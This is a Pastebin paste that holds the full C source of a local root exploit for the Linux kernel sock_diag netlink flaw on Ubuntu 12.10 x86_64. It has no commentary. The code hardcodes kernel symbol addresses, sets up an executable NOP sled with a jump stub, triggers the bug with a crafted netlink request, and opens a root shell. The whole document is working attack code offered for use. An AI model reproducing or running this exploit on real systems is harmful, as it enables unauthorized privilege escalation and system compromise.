Himeshvyas26

Ubuntu chacha 12.10 local root exploit

Nov 11th, 2018
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.19 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <sys/socket.h>
  3. #include <linux/netlink.h>
  4. #include <netinet/tcp.h>
  5. #include <errno.h>
  6. #include <linux/if.h>
  7. #include <linux/filter.h>
  8. #include <string.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <linux/sock_diag.h>
  12. #include <linux/inet_diag.h>
  13. #include <linux/unix_diag.h>
  14. #include <sys/mman.h>
  15.  
  16. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  17. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  18. _commit_creds commit_creds;
  19. _prepare_kernel_cred prepare_kernel_cred;
  20. unsigned long sock_diag_handlers, nl_table;
  21.  
  22. int __attribute__((regparm(3)))
  23. x()
  24. {
  25. commit_creds(prepare_kernel_cred(0));
  26. return -1;
  27. }
  28.  
  29. char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
  30.  
  31. int main() {
  32. int fd;
  33. unsigned long mmap_start, mmap_size = 0x10000;
  34. unsigned family;
  35. struct {
  36. struct nlmsghdr nlh;
  37. struct unix_diag_req r;
  38. } req;
  39. char buf[8192];
  40.  
  41. if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
  42. printf("Can't create sock diag socket\n");
  43. return -1;
  44. }
  45.  
  46. memset(&req, 0, sizeof(req));
  47. req.nlh.nlmsg_len = sizeof(req);
  48. req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  49. req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
  50. req.nlh.nlmsg_seq = 123456;
  51.  
  52. req.r.udiag_states = -1;
  53. req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
  54.  
  55. /* Ubuntu 12.10 x86_64 */
  56. req.r.sdiag_family = 0x37;
  57. commit_creds = (_commit_creds) 0xffffffff8107d180;
  58. prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
  59. mmap_start = 0x1a000;
  60.  
  61. if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
  62. MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
  63.  
  64. printf("mmap fault\n");
  65. exit(1);
  66. }
  67.  
  68. *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
  69. memset((void *)mmap_start, 0x90, mmap_size);
  70. memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));
  71.  
  72. send(fd, &req, sizeof(req), 0);
  73. if(!getuid())
  74. system("/bin/sh");
  75. }
Add Comment
Please, Sign In to add comment